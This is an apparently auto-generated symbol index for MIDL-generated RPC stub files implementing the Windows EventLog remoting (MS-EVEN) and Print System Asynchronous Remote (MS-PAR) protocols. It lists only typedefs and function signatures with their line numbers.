type __midl_frag338_t (line 5044) | typedef
type __midl_frag321_t (line 5049) | typedef
type __midl_frag316_t (line 5068) | typedef
type __midl_frag315_t (line 5078) | typedef
type __midl_frag314_t (line 5087) | typedef
type __midl_frag313_t (line 5092) | typedef
type __midl_frag309_t (line 5097) | typedef
type __midl_frag308_t (line 5106) | typedef
type __midl_frag305_t (line 5111) | typedef
type __midl_frag304_t (line 5120) | typedef
type __midl_frag303_t (line 5129) | typedef
type __midl_frag300_t (line 5134) | typedef
type __midl_frag294_t (line 5151) | typedef
type __midl_frag293_t (line 5160) | typedef
type __midl_frag292_t (line 5165) | typedef
type __midl_frag288_t (line 5170) | typedef
type __midl_frag287_t (line 5180) | typedef
type __midl_frag286_t (line 5189) | typedef
type __midl_frag285_t (line 5194) | typedef
type __midl_frag281_t (line 5199) | typedef
type __midl_frag280_t (line 5208) | typedef
type __midl_frag277_t (line 5213) | typedef
type __midl_frag273_t (line 5230) | typedef
type __midl_frag270_t (line 5235) | typedef
type __midl_frag262_t (line 5247) | typedef
type __midl_frag251_t (line 5260) | typedef
type __midl_frag241_t (line 5275) | typedef
type __midl_frag230_t (line 5289) | typedef
type __midl_frag215_t (line 5303) | typedef
type NDR64_PIPE_FORMAT (line 5308) | typedef
type __midl_frag212_t (line 5313) | typedef
type __midl_frag211_t (line 5318) | typedef
type __midl_frag210_t (line 5323) | typedef
type __midl_frag208_t (line 5338) | typedef
type __midl_frag207_t (line 5346) | typedef
type __midl_frag206_t (line 5351) | typedef
type __midl_frag204_t (line 5360) | typedef
type __midl_frag203_t (line 5376) | typedef
type __midl_frag202_t (line 5385) | typedef
type __midl_frag201_t (line 5404) | typedef
type __midl_frag200_t (line 5419) | typedef
type __midl_frag199_t (line 5424) | typedef
type __midl_frag198_t (line 5429) | typedef
type __midl_frag195_t (line 5434) | typedef
type __midl_frag188_t (line 5446) | typedef
type __midl_frag186_t (line 5459) | typedef
type __midl_frag184_t (line 5469) | typedef
type __midl_frag183_t (line 5479) | typedef
type __midl_frag182_t (line 5496) | typedef
type __midl_frag181_t (line 5501) | typedef
type __midl_frag180_t (line 5506) | typedef
type __midl_frag177_t (line 5511) | typedef
type __midl_frag174_t (line 5525) | typedef
type __midl_frag171_t (line 5530) | typedef
type __midl_frag169_t (line 5542) | typedef
type __midl_frag167_t (line 5550) | typedef
type __midl_frag166_t (line 5559) | typedef
type __midl_frag165_t (line 5568) | typedef
type __midl_frag164_t (line 5583) | typedef
type __midl_frag163_t (line 5588) | typedef
type __midl_frag162_t (line 5593) | typedef
type __midl_frag153_t (line 5604) | typedef
type __midl_frag151_t (line 5619) | typedef
type __midl_frag146_t (line 5624) | typedef
type __midl_frag144_t (line 5638) | typedef
type __midl_frag143_t (line 5643) | typedef
type __midl_frag142_t (line 5648) | typedef
type __midl_frag140_t (line 5656) | typedef
type __midl_frag139_t (line 5667) | typedef
type __midl_frag138_t (line 5676) | typedef
type __midl_frag137_t (line 5691) | typedef
type __midl_frag130_t (line 5696) | typedef
type __midl_frag120_t (line 5708) | typedef
type __midl_frag113_t (line 5724) | typedef
type __midl_frag110_t (line 5737) | typedef
type __midl_frag108_t (line 5745) | typedef
type __midl_frag107_t (line 5755) | typedef
type __midl_frag106_t (line 5764) | typedef
type __midl_frag94_t (line 5779) | typedef
type __midl_frag92_t (line 5788) | typedef
type __midl_frag91_t (line 5797) | typedef
type __midl_frag90_t (line 5806) | typedef
type __midl_frag88_t (line 5821) | typedef
type __midl_frag87_t (line 5830) | typedef
type __midl_frag86_t (line 5839) | typedef
type __midl_frag85_t (line 5847) | typedef
type __midl_frag84_t (line 5863) | typedef
type __midl_frag83_t (line 5868) | typedef
type __midl_frag81_t (line 5881) | typedef
type __midl_frag80_t (line 5889) | typedef
type __midl_frag79_t (line 5894) | typedef
type __midl_frag77_t (line 5903) | typedef
type __midl_frag76_t (line 5913) | typedef
type __midl_frag75_t (line 5922) | typedef
type __midl_frag74_t (line 5937) | typedef
type __midl_frag73_t (line 5953) | typedef
type __midl_frag72_t (line 5963) | typedef
type __midl_frag71_t (line 5982) | typedef
type __midl_frag67_t (line 5997) | typedef
type __midl_frag65_t (line 6009) | typedef
type __midl_frag62_t (line 6014) | typedef
type __midl_frag60_t (line 6026) | typedef
type __midl_frag59_t (line 6031) | typedef
type __midl_frag56_t (line 6036) | typedef
type __midl_frag54_t (line 6048) | typedef
type __midl_frag53_t (line 6056) | typedef
type __midl_frag52_t (line 6061) | typedef
type __midl_frag50_t (line 6071) | typedef
type __midl_frag48_t (line 6079) | typedef
type __midl_frag47_t (line 6089) | typedef
type __midl_frag46_t (line 6098) | typedef
type __midl_frag44_t (line 6113) | typedef
type __midl_frag43_t (line 6122) | typedef
type __midl_frag42_t (line 6131) | typedef
type __midl_frag41_t (line 6139) | typedef
type __midl_frag40_t (line 6156) | typedef
type __midl_frag39_t (line 6166) | typedef
type __midl_frag38_t (line 6185) | typedef
type __midl_frag28_t (line 6200) | typedef
type __midl_frag24_t (line 6212) | typedef
type __midl_frag23_t (line 6223) | typedef
type __midl_frag22_t (line 6228) | typedef
type __midl_frag21_t (line 6233) | typedef
type __midl_frag16_t (line 6243) | typedef
type __midl_frag15_t (line 6248) | typedef
type __midl_frag11_t (line 6260) | typedef
type __midl_frag9_t (line 6265) | typedef
type __midl_frag4_t (line 6277) | typedef
type __midl_frag3_t (line 6282) | typedef
type __midl_frag2_t (line 6287) | typedef
type NDR64_FORMAT_UINT32 (line 6300) | typedef
FILE: rpc_interfaces/ms-even_c.c
type ms2Deven_MIDL_TYPE_FORMAT_STRING (line 40) | typedef struct _ms2Deven_MIDL_TYPE_FORMAT_STRING
type ms2Deven_MIDL_PROC_FORMAT_STRING (line 46) | typedef struct _ms2Deven_MIDL_PROC_FORMAT_STRING
type ms2Deven_MIDL_EXPR_FORMAT_STRING (line 52) | typedef struct _ms2Deven_MIDL_EXPR_FORMAT_STRING
function NTSTATUS (line 159) | NTSTATUS ElfrClearELFW(
function NTSTATUS (line 177) | NTSTATUS ElfrBackupELFW(
function NTSTATUS (line 195) | NTSTATUS ElfrCloseEL(
function NTSTATUS (line 211) | NTSTATUS ElfrDeregisterEventSource(
function NTSTATUS (line 227) | NTSTATUS ElfrNumberOfRecords(
function NTSTATUS (line 245) | NTSTATUS ElfrOldestRecord(
function NTSTATUS (line 263) | NTSTATUS ElfrChangeNotify(
function NTSTATUS (line 283) | NTSTATUS ElfrOpenELW(
function NTSTATUS (line 309) | NTSTATUS ElfrRegisterEventSourceW(
function NTSTATUS (line 335) | NTSTATUS ElfrOpenBELW(
function NTSTATUS (line 359) | NTSTATUS ElfrReadELW(
function NTSTATUS (line 387) | NTSTATUS ElfrReportEventW(
function NTSTATUS (line 429) | NTSTATUS ElfrClearELFA(
function NTSTATUS (line 447) | NTSTATUS ElfrBackupELFA(
function NTSTATUS (line 465) | NTSTATUS ElfrOpenELA(
function NTSTATUS (line 491) | NTSTATUS ElfrRegisterEventSourceA(
function NTSTATUS (line 517) | NTSTATUS ElfrOpenBELA(
function NTSTATUS (line 541) | NTSTATUS ElfrReadELA(
function NTSTATUS (line 569) | NTSTATUS ElfrReportEventA(
function Opnum19NotUsedOnWire (line 611) | void Opnum19NotUsedOnWire(
function Opnum20NotUsedOnWire (line 624) | void Opnum20NotUsedOnWire(
function Opnum21NotUsedOnWire (line 637) | void Opnum21NotUsedOnWire(
function NTSTATUS (line 650) | NTSTATUS ElfrGetLogInformation(
function Opnum23NotUsedOnWire (line 674) | void Opnum23NotUsedOnWire(
function NTSTATUS (line 687) | NTSTATUS ElfrReportEventAndSourceW(
function NTSTATUS (line 731) | NTSTATUS ElfrReportEventExW(
function NTSTATUS (line 771) | NTSTATUS ElfrReportEventExA(
type NDR64_FORMAT_CHAR (line 3001) | typedef
type __midl_frag272_t (line 3006) | typedef
type NDR64_FORMAT_CHAR (line 3011) | typedef
type NDR64_FORMAT_CHAR (line 3016) | typedef
type __midl_frag269_t (line 3021) | typedef
type __midl_frag268_t (line 3031) | typedef
type __midl_frag267_t (line 3040) | typedef
type __midl_frag266_t (line 3045) | typedef
type __midl_frag265_t (line 3050) | typedef
type __midl_frag264_t (line 3060) | typedef
type __midl_frag263_t (line 3079) | typedef
type __midl_frag262_t (line 3084) | typedef
type __midl_frag261_t (line 3089) | typedef
type __midl_frag260_t (line 3094) | typedef
type __midl_frag259_t (line 3099) | typedef
type NDR64_FORMAT_CHAR (line 3104) | typedef
type NDR64_FORMAT_CHAR (line 3109) | typedef
type __midl_frag255_t (line 3114) | typedef
type __midl_frag254_t (line 3119) | typedef
type __midl_frag253_t (line 3124) | typedef
type __midl_frag244_t (line 3147) | typedef
type __midl_frag242_t (line 3152) | typedef
type __midl_frag241_t (line 3171) | typedef
type __midl_frag239_t (line 3176) | typedef
type __midl_frag233_t (line 3181) | typedef
type __midl_frag230_t (line 3189) | typedef
type __midl_frag227_t (line 3212) | typedef
type NDR64_FORMAT_CHAR (line 3217) | typedef
type __midl_frag222_t (line 3222) | typedef
type __midl_frag221_t (line 3232) | typedef
type __midl_frag220_t (line 3241) | typedef
type __midl_frag219_t (line 3246) | typedef
type __midl_frag218_t (line 3251) | typedef
type __midl_frag217_t (line 3261) | typedef
type __midl_frag216_t (line 3280) | typedef
type __midl_frag215_t (line 3285) | typedef
type __midl_frag214_t (line 3290) | typedef
type __midl_frag213_t (line 3295) | typedef
type __midl_frag212_t (line 3300) | typedef
type NDR64_FORMAT_CHAR (line 3305) | typedef
type NDR64_FORMAT_CHAR (line 3310) | typedef
type __midl_frag205_t (line 3315) | typedef
type __midl_frag204_t (line 3340) | typedef
type __midl_frag201_t (line 3349) | typedef
type __midl_frag200_t (line 3354) | typedef
type __midl_frag198_t (line 3359) | typedef
type __midl_frag197_t (line 3369) | typedef
type __midl_frag196_t (line 3378) | typedef
type __midl_frag193_t (line 3383) | typedef
type __midl_frag182_t (line 3398) | typedef
type __midl_frag181_t (line 3408) | typedef
type __midl_frag180_t (line 3417) | typedef
type __midl_frag179_t (line 3422) | typedef
type __midl_frag178_t (line 3427) | typedef
type __midl_frag177_t (line 3437) | typedef
type __midl_frag176_t (line 3456) | typedef
type __midl_frag174_t (line 3461) | typedef
type __midl_frag166_t (line 3466) | typedef
type __midl_frag159_t (line 3490) | typedef
type __midl_frag158_t (line 3500) | typedef
type __midl_frag157_t (line 3509) | typedef
type __midl_frag156_t (line 3514) | typedef
type __midl_frag152_t (line 3519) | typedef
type __midl_frag150_t (line 3536) | typedef
type __midl_frag149_t (line 3541) | typedef
type __midl_frag144_t (line 3546) | typedef
type __midl_frag143_t (line 3551) | typedef
type __midl_frag137_t (line 3566) | typedef
type __midl_frag134_t (line 3571) | typedef
type __midl_frag133_t (line 3576) | typedef
type NDR64_FORMAT_CHAR (line 3592) | typedef
type __midl_frag131_t (line 3597) | typedef
type __midl_frag130_t (line 3602) | typedef
type NDR64_FORMAT_CHAR (line 3607) | typedef
type __midl_frag124_t (line 3612) | typedef
type __midl_frag123_t (line 3617) | typedef
type NDR64_FORMAT_CHAR (line 3633) | typedef
type __midl_frag121_t (line 3638) | typedef
type __midl_frag120_t (line 3643) | typedef
type __midl_frag119_t (line 3648) | typedef
type __midl_frag117_t (line 3660) | typedef
type NDR64_FORMAT_CHAR (line 3668) | typedef
type __midl_frag115_t (line 3673) | typedef
type __midl_frag114_t (line 3682) | typedef
type __midl_frag113_t (line 3691) | typedef
type __midl_frag112_t (line 3707) | typedef
type __midl_frag110_t (line 3712) | typedef
type __midl_frag107_t (line 3724) | typedef
type NDR64_FORMAT_CHAR (line 3729) | typedef
type __midl_frag101_t (line 3734) | typedef
type __midl_frag100_t (line 3743) | typedef
type __midl_frag99_t (line 3748) | typedef
type __midl_frag97_t (line 3753) | typedef
type __midl_frag96_t (line 3772) | typedef
type __midl_frag94_t (line 3777) | typedef
type __midl_frag93_t (line 3786) | typedef
type __midl_frag92_t (line 3795) | typedef
type __midl_frag91_t (line 3803) | typedef
type __midl_frag90_t (line 3808) | typedef
type __midl_frag89_t (line 3813) | typedef
type __midl_frag88_t (line 3818) | typedef
type NDR64_FORMAT_CHAR (line 3823) | typedef
type __midl_frag83_t (line 3828) | typedef
type __midl_frag82_t (line 3833) | typedef
type __midl_frag79_t (line 3857) | typedef
type __midl_frag75_t (line 3862) | typedef
type __midl_frag74_t (line 3872) | typedef
type __midl_frag73_t (line 3881) | typedef
type __midl_frag68_t (line 3886) | typedef
type NDR64_FORMAT_CHAR (line 3903) | typedef
type __midl_frag60_t (line 3908) | typedef
type __midl_frag59_t (line 3913) | typedef
type __midl_frag49_t (line 3928) | typedef
type NDR64_FORMAT_CHAR (line 3944) | typedef
type __midl_frag40_t (line 3949) | typedef
type __midl_frag39_t (line 3954) | typedef
type __midl_frag36_t (line 3970) | typedef
type __midl_frag34_t (line 3978) | typedef
type __midl_frag31_t (line 3991) | typedef
type __midl_frag29_t (line 3996) | typedef
type __midl_frag22_t (line 4008) | typedef
type __midl_frag21_t (line 4013) | typedef
type __midl_frag20_t (line 4018) | typedef
type __midl_frag16_t (line 4029) | typedef
type __midl_frag12_t (line 4040) | typedef
type __midl_frag10_t (line 4052) | typedef
type __midl_frag9_t (line 4060) | typedef
type __midl_frag8_t (line 4070) | typedef
type __midl_frag7_t (line 4081) | typedef
type __midl_frag6_t (line 4092) | typedef
type __midl_frag5_t (line 4100) | typedef
type __midl_frag2_t (line 4116) | typedef
type NDR64_FORMAT_UINT32 (line 4128) | typedef
FILE: rpc_interfaces/ms-even_s.c
type ms2Deven_MIDL_TYPE_FORMAT_STRING (line 39) | typedef struct _ms2Deven_MIDL_TYPE_FORMAT_STRING
type ms2Deven_MIDL_PROC_FORMAT_STRING (line 45) | typedef struct _ms2Deven_MIDL_PROC_FORMAT_STRING
type ms2Deven_MIDL_EXPR_FORMAT_STRING (line 51) | typedef struct _ms2Deven_MIDL_EXPR_FORMAT_STRING
type NDR64_FORMAT_CHAR (line 2370) | typedef
type __midl_frag272_t (line 2375) | typedef
type NDR64_FORMAT_CHAR (line 2380) | typedef
type NDR64_FORMAT_CHAR (line 2385) | typedef
type __midl_frag269_t (line 2390) | typedef
type __midl_frag268_t (line 2400) | typedef
type __midl_frag267_t (line 2409) | typedef
type __midl_frag266_t (line 2414) | typedef
type __midl_frag265_t (line 2419) | typedef
type __midl_frag264_t (line 2429) | typedef
type __midl_frag263_t (line 2448) | typedef
type __midl_frag262_t (line 2453) | typedef
type __midl_frag261_t (line 2458) | typedef
type __midl_frag260_t (line 2463) | typedef
type __midl_frag259_t (line 2468) | typedef
type NDR64_FORMAT_CHAR (line 2473) | typedef
type NDR64_FORMAT_CHAR (line 2478) | typedef
type __midl_frag255_t (line 2483) | typedef
type __midl_frag254_t (line 2488) | typedef
type __midl_frag253_t (line 2493) | typedef
type __midl_frag244_t (line 2516) | typedef
type __midl_frag242_t (line 2521) | typedef
type __midl_frag241_t (line 2540) | typedef
type __midl_frag239_t (line 2545) | typedef
type __midl_frag233_t (line 2550) | typedef
type __midl_frag230_t (line 2558) | typedef
type __midl_frag227_t (line 2581) | typedef
type NDR64_FORMAT_CHAR (line 2586) | typedef
type __midl_frag222_t (line 2591) | typedef
type __midl_frag221_t (line 2601) | typedef
type __midl_frag220_t (line 2610) | typedef
type __midl_frag219_t (line 2615) | typedef
type __midl_frag218_t (line 2620) | typedef
type __midl_frag217_t (line 2630) | typedef
type __midl_frag216_t (line 2649) | typedef
type __midl_frag215_t (line 2654) | typedef
type __midl_frag214_t (line 2659) | typedef
type __midl_frag213_t (line 2664) | typedef
type __midl_frag212_t (line 2669) | typedef
type NDR64_FORMAT_CHAR (line 2674) | typedef
type NDR64_FORMAT_CHAR (line 2679) | typedef
type __midl_frag205_t (line 2684) | typedef
type __midl_frag204_t (line 2709) | typedef
type __midl_frag201_t (line 2718) | typedef
type __midl_frag200_t (line 2723) | typedef
type __midl_frag198_t (line 2728) | typedef
type __midl_frag197_t (line 2738) | typedef
type __midl_frag196_t (line 2747) | typedef
type __midl_frag193_t (line 2752) | typedef
type __midl_frag182_t (line 2767) | typedef
type __midl_frag181_t (line 2777) | typedef
type __midl_frag180_t (line 2786) | typedef
type __midl_frag179_t (line 2791) | typedef
type __midl_frag178_t (line 2796) | typedef
type __midl_frag177_t (line 2806) | typedef
type __midl_frag176_t (line 2825) | typedef
type __midl_frag174_t (line 2830) | typedef
type __midl_frag166_t (line 2835) | typedef
type __midl_frag159_t (line 2859) | typedef
type __midl_frag158_t (line 2869) | typedef
type __midl_frag157_t (line 2878) | typedef
type __midl_frag156_t (line 2883) | typedef
type __midl_frag152_t (line 2888) | typedef
type __midl_frag150_t (line 2905) | typedef
type __midl_frag149_t (line 2910) | typedef
type __midl_frag144_t (line 2915) | typedef
type __midl_frag143_t (line 2920) | typedef
type __midl_frag137_t (line 2935) | typedef
type __midl_frag134_t (line 2940) | typedef
type __midl_frag133_t (line 2945) | typedef
type NDR64_FORMAT_CHAR (line 2961) | typedef
type __midl_frag131_t (line 2966) | typedef
type __midl_frag130_t (line 2971) | typedef
type NDR64_FORMAT_CHAR (line 2976) | typedef
type __midl_frag124_t (line 2981) | typedef
type __midl_frag123_t (line 2986) | typedef
type NDR64_FORMAT_CHAR (line 3002) | typedef
type __midl_frag121_t (line 3007) | typedef
type __midl_frag120_t (line 3012) | typedef
type __midl_frag119_t (line 3017) | typedef
type __midl_frag117_t (line 3029) | typedef
type NDR64_FORMAT_CHAR (line 3037) | typedef
type __midl_frag115_t (line 3042) | typedef
type __midl_frag114_t (line 3051) | typedef
type __midl_frag113_t (line 3060) | typedef
type __midl_frag112_t (line 3076) | typedef
type __midl_frag110_t (line 3081) | typedef
type __midl_frag107_t (line 3093) | typedef
type NDR64_FORMAT_CHAR (line 3098) | typedef
type __midl_frag101_t (line 3103) | typedef
type __midl_frag100_t (line 3112) | typedef
type __midl_frag99_t (line 3117) | typedef
type __midl_frag97_t (line 3122) | typedef
type __midl_frag96_t (line 3141) | typedef
type __midl_frag94_t (line 3146) | typedef
type __midl_frag93_t (line 3155) | typedef
type __midl_frag92_t (line 3164) | typedef
type __midl_frag91_t (line 3172) | typedef
type __midl_frag90_t (line 3177) | typedef
type __midl_frag89_t (line 3182) | typedef
type __midl_frag88_t (line 3187) | typedef
type NDR64_FORMAT_CHAR (line 3192) | typedef
type __midl_frag83_t (line 3197) | typedef
type __midl_frag82_t (line 3202) | typedef
type __midl_frag79_t (line 3226) | typedef
type __midl_frag75_t (line 3231) | typedef
type __midl_frag74_t (line 3241) | typedef
type __midl_frag73_t (line 3250) | typedef
type __midl_frag68_t (line 3255) | typedef
type NDR64_FORMAT_CHAR (line 3272) | typedef
type __midl_frag60_t (line 3277) | typedef
type __midl_frag59_t (line 3282) | typedef
type __midl_frag49_t (line 3297) | typedef
type NDR64_FORMAT_CHAR (line 3313) | typedef
type __midl_frag40_t (line 3318) | typedef
type __midl_frag39_t (line 3323) | typedef
type __midl_frag36_t (line 3339) | typedef
type __midl_frag34_t (line 3347) | typedef
type __midl_frag31_t (line 3360) | typedef
type __midl_frag29_t (line 3365) | typedef
type __midl_frag22_t (line 3377) | typedef
type __midl_frag21_t (line 3382) | typedef
type __midl_frag20_t (line 3387) | typedef
type __midl_frag16_t (line 3398) | typedef
type __midl_frag12_t (line 3409) | typedef
type __midl_frag10_t (line 3421) | typedef
type __midl_frag9_t (line 3429) | typedef
type __midl_frag8_t (line 3439) | typedef
type __midl_frag7_t (line 3450) | typedef
type __midl_frag6_t (line 3461) | typedef
type __midl_frag5_t (line 3469) | typedef
type __midl_frag2_t (line 3485) | typedef
type NDR64_FORMAT_UINT32 (line 3497) | typedef
FILE: rpc_interfaces/ms-par_c.c
type ms2Dpar_MIDL_TYPE_FORMAT_STRING (line 40) | typedef struct _ms2Dpar_MIDL_TYPE_FORMAT_STRING
type ms2Dpar_MIDL_PROC_FORMAT_STRING (line 46) | typedef struct _ms2Dpar_MIDL_PROC_FORMAT_STRING
type ms2Dpar_MIDL_EXPR_FORMAT_STRING (line 52) | typedef struct _ms2Dpar_MIDL_EXPR_FORMAT_STRING
function DWORD (line 159) | DWORD RpcAsyncOpenPrinter(
function DWORD (line 187) | DWORD RpcAsyncAddPrinter(
function DWORD (line 215) | DWORD RpcAsyncSetJob(
function DWORD (line 237) | DWORD RpcAsyncGetJob(
function DWORD (line 263) | DWORD RpcAsyncEnumJobs(
function DWORD (line 293) | DWORD RpcAsyncAddJob(
function DWORD (line 317) | DWORD RpcAsyncScheduleJob(
function DWORD (line 335) | DWORD RpcAsyncDeletePrinter(
function DWORD (line 351) | DWORD RpcAsyncSetPrinter(
function DWORD (line 375) | DWORD RpcAsyncGetPrinter(
function DWORD (line 399) | DWORD RpcAsyncStartDocPrinter(
function DWORD (line 419) | DWORD RpcAsyncStartPagePrinter(
function DWORD (line 435) | DWORD RpcAsyncWritePrinter(
function DWORD (line 457) | DWORD RpcAsyncEndPagePrinter(
function DWORD (line 473) | DWORD RpcAsyncEndDocPrinter(
function DWORD (line 489) | DWORD RpcAsyncAbortPrinter(
function DWORD (line 505) | DWORD RpcAsyncGetPrinterData(
function DWORD (line 531) | DWORD RpcAsyncGetPrinterDataEx(
function DWORD (line 559) | DWORD RpcAsyncSetPrinterData(
function DWORD (line 583) | DWORD RpcAsyncSetPrinterDataEx(
function DWORD (line 609) | DWORD RpcAsyncClosePrinter(
function DWORD (line 625) | DWORD RpcAsyncAddForm(
function DWORD (line 643) | DWORD RpcAsyncDeleteForm(
function DWORD (line 661) | DWORD RpcAsyncGetForm(
function DWORD (line 687) | DWORD RpcAsyncSetForm(
function DWORD (line 707) | DWORD RpcAsyncEnumForms(
function DWORD (line 733) | DWORD RpcAsyncGetPrinterDriver(
function DWORD (line 767) | DWORD RpcAsyncEnumPrinterData(
function DWORD (line 799) | DWORD RpcAsyncEnumPrinterDataEx(
function DWORD (line 825) | DWORD RpcAsyncEnumPrinterKey(
function DWORD (line 849) | DWORD RpcAsyncDeletePrinterData(
function DWORD (line 867) | DWORD RpcAsyncDeletePrinterDataEx(
function DWORD (line 887) | DWORD RpcAsyncDeletePrinterKey(
function DWORD (line 905) | DWORD RpcAsyncXcvData(
function DWORD (line 935) | DWORD RpcAsyncSendRecvBidiData(
function DWORD (line 957) | DWORD RpcAsyncCreatePrinterIC(
function DWORD (line 977) | DWORD RpcAsyncPlayGdiScriptOnPrinterIC(
function DWORD (line 1003) | DWORD RpcAsyncDeletePrinterIC(
function DWORD (line 1019) | DWORD RpcAsyncEnumPrinters(
function DWORD (line 1049) | DWORD RpcAsyncAddPrinterDriver(
function DWORD (line 1071) | DWORD RpcAsyncEnumPrinterDrivers(
function DWORD (line 1101) | DWORD RpcAsyncGetPrinterDriverDirectory(
function DWORD (line 1129) | DWORD RpcAsyncDeletePrinterDriver(
function DWORD (line 1151) | DWORD RpcAsyncDeletePrinterDriverEx(
function DWORD (line 1177) | DWORD RpcAsyncAddPrintProcessor(
function DWORD (line 1201) | DWORD RpcAsyncEnumPrintProcessors(
function DWORD (line 1231) | DWORD RpcAsyncGetPrintProcessorDirectory(
function DWORD (line 1259) | DWORD RpcAsyncEnumPorts(
function DWORD (line 1287) | DWORD RpcAsyncEnumMonitors(
function DWORD (line 1315) | DWORD RpcAsyncAddPort(
function DWORD (line 1339) | DWORD RpcAsyncSetPort(
function DWORD (line 1361) | DWORD RpcAsyncAddMonitor(
function DWORD (line 1381) | DWORD RpcAsyncDeleteMonitor(
function DWORD (line 1403) | DWORD RpcAsyncDeletePrintProcessor(
function DWORD (line 1425) | DWORD RpcAsyncEnumPrintProcessorDatatypes(
function DWORD (line 1455) | DWORD RpcAsyncAddPerMachineConnection(
function DWORD (line 1479) | DWORD RpcAsyncDeletePerMachineConnection(
function DWORD (line 1499) | DWORD RpcAsyncEnumPerMachineConnections(
function HRESULT (line 1525) | HRESULT RpcSyncRegisterForRemoteNotifications(
function HRESULT (line 1545) | HRESULT RpcSyncUnRegisterForRemoteNotifications(
function HRESULT (line 1561) | HRESULT RpcSyncRefreshRemoteNotifications(
function HRESULT (line 1581) | HRESULT RpcAsyncGetRemoteNotifications(
function HRESULT (line 1599) | HRESULT RpcAsyncInstallPrinterDriverFromPackage(
function HRESULT (line 1625) | HRESULT RpcAsyncUploadPrinterDriverPackage(
function HRESULT (line 1653) | HRESULT RpcAsyncGetCorePrinterDrivers(
function HRESULT (line 1681) | HRESULT RpcAsyncCorePrinterDriverInstalled(
function HRESULT (line 1709) | HRESULT RpcAsyncGetPrinterDriverPackagePath(
function HRESULT (line 1739) | HRESULT RpcAsyncDeletePrinterDriverPackage(
function DWORD (line 1761) | DWORD RpcAsyncReadPrinter(
function DWORD (line 1783) | DWORD RpcAsyncResetPrinter(
function DWORD (line 1803) | DWORD RpcAsyncGetJobNamedPropertyValue(
function DWORD (line 1825) | DWORD RpcAsyncSetJobNamedProperty(
function DWORD (line 1845) | DWORD RpcAsyncDeleteJobNamedProperty(
function DWORD (line 1865) | DWORD RpcAsyncEnumJobNamedProperties(
function DWORD (line 1887) | DWORD RpcAsyncLogJobInfoForBranchOffice(
type NDR64_FORMAT_CHAR (line 9324) | typedef
type __midl_frag1102_t (line 9329) | typedef
type __midl_frag1101_t (line 9334) | typedef
type __midl_frag1097_t (line 9349) | typedef
type __midl_frag1096_t (line 9370) | typedef
type __midl_frag1088_t (line 9384) | typedef
type __midl_frag1087_t (line 9409) | typedef
type __midl_frag1086_t (line 9417) | typedef
type __midl_frag1080_t (line 9429) | typedef
type __midl_frag1079_t (line 9452) | typedef
type __midl_frag1078_t (line 9461) | typedef
type __midl_frag1077_t (line 9476) | typedef
type __midl_frag1076_t (line 9491) | typedef
type __midl_frag1075_t (line 9500) | typedef
type __midl_frag1074_t (line 9508) | typedef
type __midl_frag1073_t (line 9522) | typedef
type __midl_frag1072_t (line 9527) | typedef
type __midl_frag1071_t (line 9532) | typedef
type __midl_frag1069_t (line 9544) | typedef
type __midl_frag1068_t (line 9554) | typedef
type __midl_frag1067_t (line 9562) | typedef
type __midl_frag1066_t (line 9567) | typedef
type NDR64_FORMAT_CHAR (line 9572) | typedef
type __midl_frag1064_t (line 9577) | typedef
type __midl_frag1061_t (line 9582) | typedef
type __midl_frag1058_t (line 9596) | typedef
type __midl_frag1055_t (line 9601) | typedef
type __midl_frag1053_t (line 9614) | typedef
type __midl_frag1052_t (line 9623) | typedef
type __midl_frag1050_t (line 9638) | typedef
type __midl_frag1049_t (line 9653) | typedef
type __midl_frag1048_t (line 9669) | typedef
type __midl_frag1045_t (line 9674) | typedef
type __midl_frag1043_t (line 9687) | typedef
type NDR64_FORMAT_CHAR (line 9695) | typedef
type __midl_frag1040_t (line 9700) | typedef
type __midl_frag1039_t (line 9709) | typedef
type NDR64_FORMAT_CHAR (line 9724) | typedef
type __midl_frag1034_t (line 9729) | typedef
type __midl_frag1032_t (line 9734) | typedef
type __midl_frag1031_t (line 9749) | typedef
type __midl_frag1030_t (line 9765) | typedef
type __midl_frag1025_t (line 9770) | typedef
type __midl_frag1023_t (line 9784) | typedef
type __midl_frag1022_t (line 9789) | typedef
type __midl_frag1021_t (line 9794) | typedef
type __midl_frag1020_t (line 9799) | typedef
type __midl_frag1019_t (line 9804) | typedef
type NDR64_FORMAT_CHAR (line 9817) | typedef
type __midl_frag1016_t (line 9822) | typedef
type NDR64_FORMAT_CHAR (line 9827) | typedef
type __midl_frag1013_t (line 9832) | typedef
type __midl_frag1012_t (line 9841) | typedef
type __midl_frag1011_t (line 9850) | typedef
type __midl_frag1009_t (line 9855) | typedef
type __midl_frag1006_t (line 9869) | typedef
type __midl_frag1001_t (line 9874) | typedef
type NDR64_FORMAT_CHAR (line 9887) | typedef
type __midl_frag995_t (line 9892) | typedef
type __midl_frag994_t (line 9901) | typedef
type __midl_frag993_t (line 9910) | typedef
type __midl_frag984_t (line 9915) | typedef
type NDR64_FORMAT_CHAR (line 9932) | typedef
type __midl_frag979_t (line 9937) | typedef
type __midl_frag978_t (line 9945) | typedef
type __midl_frag977_t (line 9953) | typedef
type __midl_frag972_t (line 9958) | typedef
type __midl_frag970_t (line 9974) | typedef
type __midl_frag969_t (line 9982) | typedef
type __midl_frag968_t (line 9991) | typedef
type __midl_frag967_t (line 10000) | typedef
type NDR64_FORMAT_CHAR (line 10005) | typedef
type __midl_frag964_t (line 10010) | typedef
type __midl_frag963_t (line 10019) | typedef
type __midl_frag962_t (line 10028) | typedef
type __midl_frag957_t (line 10033) | typedef
type __midl_frag956_t (line 10038) | typedef
type __midl_frag953_t (line 10054) | typedef
type NDR64_FORMAT_CHAR (line 10059) | typedef
type __midl_frag951_t (line 10064) | typedef
type __midl_frag950_t (line 10074) | typedef
type __midl_frag949_t (line 10083) | typedef
type NDR64_FORMAT_CHAR (line 10088) | typedef
type __midl_frag947_t (line 10093) | typedef
type __midl_frag946_t (line 10098) | typedef
type __midl_frag942_t (line 10103) | typedef
type __midl_frag941_t (line 10108) | typedef
type __midl_frag930_t (line 10124) | typedef
type __midl_frag928_t (line 10139) | typedef
type __midl_frag927_t (line 10144) | typedef
type __midl_frag926_t (line 10149) | typedef
type __midl_frag925_t (line 10154) | typedef
type __midl_frag921_t (line 10166) | typedef
type __midl_frag919_t (line 10171) | typedef
type __midl_frag917_t (line 10184) | typedef
type __midl_frag916_t (line 10189) | typedef
type __midl_frag915_t (line 10194) | typedef
type __midl_frag913_t (line 10205) | typedef
type __midl_frag912_t (line 10210) | typedef
type __midl_frag911_t (line 10215) | typedef
type __midl_frag910_t (line 10223) | typedef
type __midl_frag909_t (line 10231) | typedef
type __midl_frag908_t (line 10240) | typedef
type __midl_frag907_t (line 10249) | typedef
type NDR64_FORMAT_CHAR (line 10264) | typedef
